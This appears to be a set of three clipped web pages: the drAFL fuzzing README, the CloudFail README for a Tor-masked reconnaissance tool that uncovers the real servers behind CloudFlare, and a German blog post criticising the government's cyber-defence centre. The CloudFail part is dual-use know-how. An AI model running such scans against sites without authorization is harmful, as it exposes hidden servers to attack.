<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='directory' class='octicon octicon-file-directory js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' role='img' data-evernote-id='47'%3e%3cpath fill-rule='evenodd' d='M13 4H7V3c0-.66-.31-1-1-1H1c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1zM6 4H1V3h5v1z' data-evernote-id='711' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  afl |  Initial commit, all files |  7 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='directory' class='octicon octicon-file-directory js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' role='img' data-evernote-id='48'%3e%3cpath fill-rule='evenodd' d='M13 4H7V3c0-.66-.31-1-1-1H1c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1zM6 4H1V3h5v1z' data-evernote-id='721' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  bin\_cov |  Initial commit, all files |  7 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='49'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='731' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  LICENSE |  Initial commit |  7 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='50'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='741' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  README.md |  Update README.md |  13 days ago  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-book js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='51'%3e%3cpath fill-rule='evenodd' d='M3 5h4v1H3V5zm0 3h4V7H3v1zm0
2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1
1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45
1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z' data-evernote-id='752'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> README.md

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='52'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='754' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />drAFL

Original AFL supports black-box coverage-guided fuzzing using QEMU mode. I
highly recommend to try it first and if it doesn't work you can try this tool.

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='53'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='756' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Usage

You need to specify `DRRUN_PATH` to point to `drrun` launcher and
`LIBCOV_PATH` to point to `libbinafl.so` coverage library. You also need to
switch off AFL's fork server \(`AFL_NO_FORKSRV=1`\) and probably
`AFL_SKIP_BIN_CHECK=1`. See step 5 in the build section below for more
details.

NOTE: Don't forget that you should use 64-bit DynamoRIO for 64-bit binaries
and 32-bit DynamoRIO for 32-bit binaries, otherwise it will not work. To make
sure that your target is running under DynamoRIO, you can run it using the
following command:

[code]

    drrun -- <path/to/your/app/> <app_args>
    
[/code]

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='54'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='759' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Instrumentation DLL

Instrumentation library is a modified version of winAFL's coverage library
created by Ivan Fratric.

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='55'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='761' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Build

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='56'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='763' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Step
1. Clone drAFL repo

[code]

    git clone https://github.com/mxmssh/drAFL.git /home/max/drAFL
    cd /home/max/drAFL
    
[/code]

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='57'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='765' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Step
2. Clone and build DynamoRIO

[code]

    git clone https://github.com/DynamoRIO/dynamorio
    mkdir build_dr
    cd build_dr/
    cmake ../dynamorio/
    make -j
    cd ..
    
[/code]

If you have any problems with DynamoRIO compilation check this page

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='58'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='768' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Step
3. Build coverage tool

[code]

    mkdir build
    cd build
    cmake ../bin_cov/ -DDynamoRIO_DIR=../build_dr/cmake
    make -j
    cd ..
    
[/code]

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='59'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='770' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Step
4. Build patched AFL

[code]

    cd afl/
    make
    cd ..
    
[/code]

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='60'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='772' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Step
5. Configure environment variables and run the target

[code]

    cd build
    mkdir in
    mkdir out
    echo "AAAA" > in/seed
    export DRRUN_PATH=/home/max/drAFL/build_dr/bin64/drrun
    export LIBCOV_PATH=/home/max/drAFL/build/libbinafl.so 
    export AFL_NO_FORKSRV=1
    export AFL_SKIP_BIN_CHECK=1
    ../afl/afl-fuzz -m none -i in -o out -- ./afl_test @@
    
[/code]

In case of `afl_test` you should expect 25-30 exec/sec and 1 unique crash in
2-3 minutes.

# m0rtem/CloudFail

**Created:**| _6/29/2017 4:08:42 PM_  
---|---  
**Updated:**| _6/29/2017 4:08:42 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  README.md

# CloudFail

CloudFail is a tactical reconnaissance tool which aims to gather enough
information about a target protected by CloudFlare in the hopes of discovering
the location of the server. Using Tor to mask all requests, the tool as of
right now has 3 different attack phases.

  1. Misconfigured DNS scan using DNSDumpster.com.
  2. Scan the Crimeflare.com database.
  3. Bruteforce scan over 2500 subdomains.

<img
src='img/687474703a2f2f7075752e73682f70713776482f363264353661613431662e706e67.png'
width='790' height='648' alt='Example usage' />

> Please feel free to contribute to this project. If you have an idea or
> improvement issue a pull request\!
#### Disclaimer

This tool is a PoC \(Proof of Concept\) and does not guarantee results. It is
possible to setup CloudFlare properly so that the IP is never released or
logged anywhere; this is not often the case and hence why this tool exists.
This tool is only for academic purposes and testing under controlled
environments. Do not use without obtaining proper authorization from the
network owner of the network under testing. The author bears no responsibility
for any misuse of the tool.

#### Usage

To run a scan against a target:

` python cloudfail.py --target seo.com `

To run a scan against a target using Tor:

` service tor start `

\(or if you are using Windows or Mac install vidalia or just run the Tor
browser\)

` python cloudfail.py --target seo.com --tor `

#### Dependencies

**Python3**

  * argparse
  * colorama
  * socket
  * binascii
  * datetime
  * requests

  

# Danisch.de » Blog Archive » Warum das neue Cyber-Abwehrzentrum der
Bundesregierung so nicht funktioniert

**Created:**| _6/21/2011 8:02:56 AM_  
---|---  
**Updated:**| _6/21/2011 8:03:06 AM_  
**Author:**| __  
**Tags:**| _opinion incident response_  
  

# Warum das neue Cyber-Abwehrzentrum der Bundesregierung so nicht funktioniert

Hadmut  
16.6.2011 18:40

Uncategorized  

Ein paar kritische Anmerkungen.<img src='img/Temp2_1953.gif' width='1'
height='1' />

Mit viel Tam-Tam und Presse hat die Bundesregierung – besonders
Bundesinnenminister Hans-Peter Friedrich, wobei der das aufgrund seiner kurzen
Amtszeit nicht gebaut, sondern nur geerbt haben kann – das neue Cyber-
Abwehrzentrum eröffnet. Überall in Presse und Rundfunk tönt es, wie gefährlich
der Cyber-Krieg doch sei.

So funktioniert das nicht.

Grundsätzlich ist so ein Cyber-Abwehrzentrum keine schlechte Idee. Früher
nannte man sowas schlicht CERT \(Computer Emergency Response Team\), aber so
eine Bezeichnung ist zuwenig presse- und öffentlichkeitstauglich, also muß
eine windschnittig-dramatische Bezeichnung her, die auf den Schlagzeilen was
bringt und die Regierung aktiv aussehen läßt. _„Cyber-Abwehrzentrum”_ – schon
der Name ist falsch, denn man will ja nicht die Computertechnik, sondern die
Angriffe abwehren \(obwohl die Politik der Bundesregierung der letzten Jahre
durchaus eher den Eindruck vermittelt, die Computertechnik und das Internet
selbst abwehren zu wollen\). Da aber in letzter Zeit in Presse und Politik so
viel vom „Cyber-War” die Rede war, scheint ein Großteil der Bevölkerung \(und
vielleicht der Politiker\) das Wort „Cyber” mit böse, Hacker, Angriff zu
assoziieren. Dabei meint es eigentlich nur Rechentechnik \(vgl. „Kybernetik”\)
oder etymologisch exakter Steuerungstechnik. Bekannt wurde der Begriff auch
durch Mainframe-Rechner der 70er und 80er Jahre wie die CDC Cyber und die
Verwendung des Begriffs in Science-Fiction. Da wurde es dann auch zum Begriff
Cyborg abgeleitet, der ein Mischwesen aus Maschine und Organismus bezeichnet.
Erst seit aber von Politik und Presse soviel heiße Luft um die elektronische
Kriegführung ventiliert wird und man ein dramatisches Buzz-Word brauchte, kam
da der Cyber-War da öffentlich in Mode \(wobei der Begriff wohl von
Videospielen und Kinofilmen geprägt wurde\). Inzwischen scheint „Cyber”
zumindest in unserem Kulturkreis nicht mehr die Rechentechnik, sondern fiese
Hacker, die unsichtbar böse Dinge tun und unser aller Daten klauen und die
Stromnetze lahmlegen, zu bezeichnen. Weil sich der Begriff ja auch so schön
künstlich, englisch und fies anhört, ohne irgendwas konkretes zu sagen. Dem
normalen Bürger läuft dabei automatisch ein Schauer der Hilflosigkeit und
Ausgeliefertheit gegenüber bösen russischen und chinesischen Mächten über den
Rücken. Herrlich, um Politik zu machen.

Ein CERT zu haben, ist ein guter Anfang. Vor einigen Jahren gab es sogar schon
mal ein Bundes-CERT, das aber pleite gegangen ist. Weil die Bundesregierung –
der damalige BSI-Chef Udo Helmbrecht brachte das zum Ausdruck – mal sagte, daß
IT Security aus ihrer Sicht nichts anderes bedeutet, als die IT-
Sicherheitsbranche wirtschaftlich zu befeuern. IT-Security als x-beliebiger
Wirtschaftsfaktor. Es geht nicht um das Abwehren von Angreifern, sondern um
das Verkaufen von Virenschutzprogrammen als Umsatzfaktor. Kann man einer
solchen Regierung \(zu\)trauen, ein „Cyber-Abwehrzentrum” zu bauen? Eigentlich
nur, wenn man ihnen unterstellt, daß sie ihre Meinung über IT-Sicherheit
genauso schnell geändert hat wie die über Atomkraftwerke. Aber nicht mal dann
so richtig.

IT-Sicherheit ist in Deutschland ein trauriges Kapitel. Jahrelang wurde das
auch an den Universitäten nur als x-beliebiger Vorwand für das Beantragen von
Forschungsgeldern und das Aufblasen von Lehrstühlen und Professoren verwendet,
weil es sich wichtig anhört. Tatsächlich geleistet wurde aber nie etwas.
Deutschland ist in diesem Bereich, auch was Internet und so weiter angeht, ein
reines Abnehmer- und Konsumentenland. Der ganze Kram wird – im Guten wie im
Schlechten – vor allem in den USA entwickelt, mit allen Vor- und vor allem
Nachteilen von deren Mentalität, Rechtssystem, Selbstverständnis und
Schlampigkeit.

IT-Sicherheit heißt in Deutschland \(und Europa\!\) nicht, daß wir sichere
Techniken entwickeln. Es heißt bestenfalls, daß wir die Unsicherheiten der
Techniken kennen, die wir dennoch kritiklos aus den USA übernehmen. Wir sind
nur am Mäkeln, aber nicht am Machen.

Die Nachteile beider Systeme – das der USA wie das der Europäer – habe ich
schon negativ bemerkt, als ich vor fast 10 Jahren bei der IRTF und der IETF
ein Anti-Spam-Verfahren \(RMX\) vorgeschlagen habe. Damals war ich in der
Sache als fast einziger Nicht-Nord-Amerikaner \(ein Franzose war noch
unterwegs\) involviert, und habe versucht, argumentativ gegen mehrere hundert
US-Amerikaner anzukämpfen. Die Amis haben den Ansatz damals zerrieben, weil
deren Wirtschaftsinteressen und Patent-Sichtweisen dagegen stehen, und IT-
Sicherheit hat sich dort eindeutig Wirtschaftsinteressen unterzuordnen. Die
Europäer hingegen hat das Thema überhaupt nicht interessiert, die blieben
einfach abwesend, und haben das weder aus der Wissenschaft, noch aus der
Regierung heraus gefördert. Man kann sich nun überlegen, was schlimmer ist,
die korrupte Herangehensweise der Amis oder die ignorante der Europäer und
insbesondere der Deutschen. Zu IT-Sicherheit führen sie jedenfalls beide
nicht.

Die Dramatik des „Cyber-War” beruht keineswegs darauf, daß wir nun von so
vielen bösen Chinesen und Russen angegriffen werden. Sie beruht darauf, daß
wir selbst etwa 20 Jahre lang in Ignoranz und Dummheit einen so großen Haufen
schlechter IT-Technik aufgetürmt haben, der so voller Sicherheitslöcher ist,
daß wir sie nicht mehr in den Griff bekommen – die schiere Quantität, aber
auch das Fehlen einer eigenen Industrie in diesem Bereich machen das
unmöglich. Alle Welt redet von der Problematik der Atomendlager, wo wir die
Sünden der letzten Jahre hinpacken. Daß aber der „Cyber-War” und unsere
Verletzlichkeit tatsächlich nur die Folge von über 20 Jahre politischer und
wissenschaftlicher Ignoranz ist, und unser Sicherheitsproblem der in dieser
Zeit als Infrastruktur aufgehäufte unsichere Mist, also nicht die bösen
Hacker, sondern unser Management und unsere Politik die Täter sind, wird
verschwiegen. Die Unsicherheit, die Verletzlichkeit im Cyber-War ist nicht
systemimmanent. Sie ist eine spezifische Eigenschaft des IT-Mistes, aus dem
wir in den letzten 20 Jahren unsere Infrastruktur kritiklos gebaut haben. Nun
haben wir den Salat, aber keine Exit-Strategie.

Und was mich daran irritiert ist, daß einem gerade in allen Medien ständig und
immer wieder um die Ohren geblasen wird, wie gefährlich IT-Angriffe sind und
welchen immensen Schaden sie anrichten können – und dann bekommt das
Abwehrzentrum mickrige 10 Mann Besatzung. Glauben die eigentlich selbst, was
sie da sagen?

Ein paar Beispiele für fundamentale Fehler, die wir in den letzten Jahren
begangen haben:

  * Schon das Wort „Cyber-Abwehrzentrum” zeigt das Problem. Man unterliegt der Sichtweise, daß wir einen großen Haufen IT haben, der so ist, wie er nunmal ist, und wir _reaktiv_ auf Angriffe eingehen. Dazu muß man sie erstens erst mal entdecken, und zweitens ist es dann schon viel zu spät. Dahinter steht so die juristisch-politisch-kriminalistische Sichtweise, daß man Straftaten durch Strafen verhindert, die verhängt werden, wenn das Verbrechen bereits passiert ist. 
Das funktioniert hier nicht. IT-Sicherheit erreicht man nicht durch reaktives
Abwehren, sondern durch proaktives Absichern. Der Fehler im Konzept ist, daß
man glaubt, eine schlechte IT-Infrastruktur bewachen zu können und zu müssen,
anstatt eine starke Infrastruktur systematisch aufzubauen.

Bemerkenswerterweise müssen selbst die USA – der Haupturheber der in der
weltweiten IT-Infrastruktur eingesetzten Programme, Betriebssysteme,
Komponenten – so weit gehen, daß sie IT-Angreifern mit Militärschlägen drohen,
weil sie sich selbst auf IT-Ebene nicht mehr absichern können. Der Unterschied
zwischen denen und uns ist, daß wir nicht mal mit Militärschlägen drohen
können. Also IT-Angriffen eigentlich gar nichts mehr entgegenzusetzen haben.
Außer jetzt dieser 10-Mann-Truppe.

  * Man hat es zugelassen, daß Windows zum de facto Standard-Betriebssystem wurde, sowohl im Industrie-, wie auch im Behörden- und Privatbereich. 
Schon rein volkswirtschaftlich ist das ein Fehler, denn wir haben insgesamt
sicherlich sehr viel mehr Geld für Windows rausgeworfen, als uns die
Entwicklung eines eigenen Betriebssystems mit vernünftigen Eigenschaften
gekostet hätte. Dazu kommen die ganzen Folgeschäden, die Microsoft durch
Geheimniskrämerei, Patentrechterei und Lizenzturnerei verursacht hat. Hätte
man in Deutschland \(oder Europa\) vor 10 bis 20 Jahren angefangen, ein
vernünftiges und sauber gebautes Open-Source-Betriebssystem zu entwickeln, das
allen einfach so kostenlos zur Verfügung steht, wäre das schon wirtschaftlich
sehr viel sinnvoller gewesen. Ja, ich weiß, das hört sich nach Linux an. Ist
es aber nicht. Denn Linux hat eine ziemlich chaotische Entwicklung hinter
sich, und es mischen eine Menge Leute darin herum, zu deren Stärken –
vorsichtig ausgedrückt – Sachkunde, IT-Sicherheit und Programmieren nicht so
unbedingt gehört. Zudem hätte man durch hohe Einfuhrzölle auf undokumentierte
Chipsätze durchaus herbeiführen können, daß man auch zu Hardware Open-Source-
Treiber schreiben kann und nicht auf die gepfuschten Windows-Treiber der
Hersteller angewiesen ist. Es hätte niemals geduldet werden dürfen, daß man
Windows automatisch zur Hardware mit dazukaufen muß.

Außer den wirtschaftlichen Folgen ergeben sich daraus dramatische Konsequenzen
für die IT-Sicherheit. Windows hat zwar inzwischen durchaus einige sehr
interessante Eigenschaften, und Microsoft gibt sich heute \(jedenfalls im
Vergleich zu früher\) auch deutlich Mühe. Aber Windows \(und das ganze
Softwaregebimsel drumherum\) ist technisch so vermurkst und von
Marketingstrategen überladen, aber gleichzeitig in seiner
Rückwärtskompatibilität gefangen \(weil die Aufgeblähtkeit, die
Herstellerabhängigkeit und die Lizenzierung einer Aktualisierung alter
Betriebssysteme entgegenstehen\). Windows ist an einigen Stellen zutiefst
vermurkst, und nicht mal Microsoft ist noch in der Lage, das zu korrigieren.

Die Folge ist, daß wir als eine der größten Volkswirtschaften der Welt
vollständig durchdrungen und vollständig abhängig von einem Betriebssystem
sind, dessen Quelltext wir nicht mal haben und das wir nicht einfach so mal
ändern können. Damit steht und fällt aber alles. Mit Microsoft und dem
derzeitigen Windows werden wir niemals brauchbare Sicherheit erreichen, aber
einen Umstieg auf etwas anderes würden wir schon wirtschaftlich nicht mehr
stemmen können \(siehe nur die Posse um das Auswärtige Amt, das schon damit
überfordert war, von Windows auf Linux umzusteigen – wie soll es dann ein
ganzes Land können?\). Und uns fehlen schlichtweg die Alternativen. Auch als
Linux-Fan muß ich objektiv sagen, daß Linux \(und insb. die Distributionen\)
trotz all ihrer Vorteile auch nicht wirklich brauchbar sind, weil auf nichts
Verlaß ist, fast nichts wirklich ausprogrammiert wird, und zuviele Leute
rummurksen, die man bestenfalls als unprofessionell einstufen würde, die
irgendwelchen Ideologien und privaten Vorlieben folgen. Zudem leidet Linux
grundsätzlich an dem Problem fehlender Hardware-Dokumentation.

Wer Sicherheit will, der kann nicht einfach mit ein paar Sälbchen und
Pflästerchen Oberflächenkosmetik treiben und jetzt mit ein paar Nasen mal eben
auf Cyber-Abwehr machen. So lange wir das Problem nicht lösen, können wir uns
IT-Sicherheit in dieser Breite eigentlich an den Hut stecken.

Würden wir jetzt \(endlich\) anfangen, ein ordentliches Betriebssystem zu
entwickeln, dann wären wir vielleicht in 5 bis 10 Jahren in der Lage, IT-
Sicherheit auf ein brauchbares Niveau zu haben. Vorausgesetzt natürlich, daß
wir genug fähige Leute haben, so etwas zu bauen. Was das Problem mit sich
bringt, daß wir in Deutschland Leute nicht dazu ausbilden, das zu können.

Oder anders gesagt: Wir sind weder fachlich, noch personell oder tatsächlich
in der Lage, IT-Sicherheit herzustellen. Obwohl wir es wirtschaftlich
eigentlich müßten.

  * Ähnlich abhängig von US-Produkten sind wir bei den typischen Büroapplikationen wie Word, Outlook usw. Auch hier werfen wir mehr Geld über den großen Teich, als es uns kosten würde, es besser selbst zu entwickeln. 
Unser IT-Sicherheitsstatus hängt damit ganz wesentlich von der amerikanischen
Software-Mentalität, von Marktzwängen nach immer mehr Multimedia-Geblubber,
Automatismen und Klickedibums ab als von Sicherheitsanforderungen. Warum
eigentlich? Wir wissen doch schon lange, daß die Amerikaner ein ganz anderes
Verhältnis zu Datenschutz, Privatsphäre, Vertraulichkeit usw. haben als wir.
Mit Datenschutz- und Telekommunikationsrecht sind wir dahinter wie der Teufel
hinter der Seele, daß personenbezogene Daten nicht in den USA verarbeitet
werden. Gut. Aber von denen, denen wir da mißtrauen, lassen wir uns die
Software schreiben, mit der wir selbst die Daten verarbeiten.

_Wer von denen, die immer aufschreien, wenn Flugdaten oder Geldüberweisungen
in die USA transportiert werden, wenn all die Facebooks uns ausleuchten, zieht
denn die Konsequenz daraus und verwendet keine amerikanische Software mehr,
weil sie derselben schlechten Sichtweise entspringt? Über Google, StreetView,
Facebook usw. schreien sie alle. Aber Alternativen werden nicht gebaut._

  * Eine Hauptursache für Sicherheitslöcher – und um die geht es ja hier – sind die Programmiersprachen C und C++, und deren Laufzeitbibliotheken mit deren Schnittstellen, wie POSIX. In einer ordentlichen Programmiersprache dürfte es sowas wie Pufferüberläufe, Null-Byte-terminerte Strings oder vergessene Abfragewerte nicht geben. C ist dermaßen fehleranfällig, daß es unter Industriebedingungen unmöglich ist, sichere Software zu schreiben, obwohl zwar nicht alle, aber die meisten Sicherheitslöcher durch eine ordentlich Programmiersprache ohne weiteres abgefangen werden könnten. 
Man kann auch in C sicher programmieren. Wenn man sehr viel Wissen, sehr viel
Selbstdisziplin, sehr viel Zeit und sehr gute Softwarequalitätsprozesse hat.
Nur die haben wir nicht. Nicht in Deutschland. Die Realität in der Industrie
sieht einfach anders aus. Ich habe genügend Anwendungs- und Webprogrammierer
erlebt \(auch in Java\), die zwar eigentlich nicht schlecht programmieren,
aber von Security kaum Ahnung haben und die typischen Standard-Fehler immer
wieder machen. Nicht alle, aber doch sehr viele dieser Standardfehler wären
durch bessere Programmiersprachen und bessere Lautzeitbibliotheken ohne
weiteres abzufangen oder sogar zu verhindern.

Wer ernsthaft IT Security treiben will, der muß erst einmal eine ordentliche
Programmiersprache entwerfen und dann möglichst schnell alles rausschmeißen
und/oder neu schreiben, was in C und C++ geschrieben ist. Und da hat er was zu
tun.

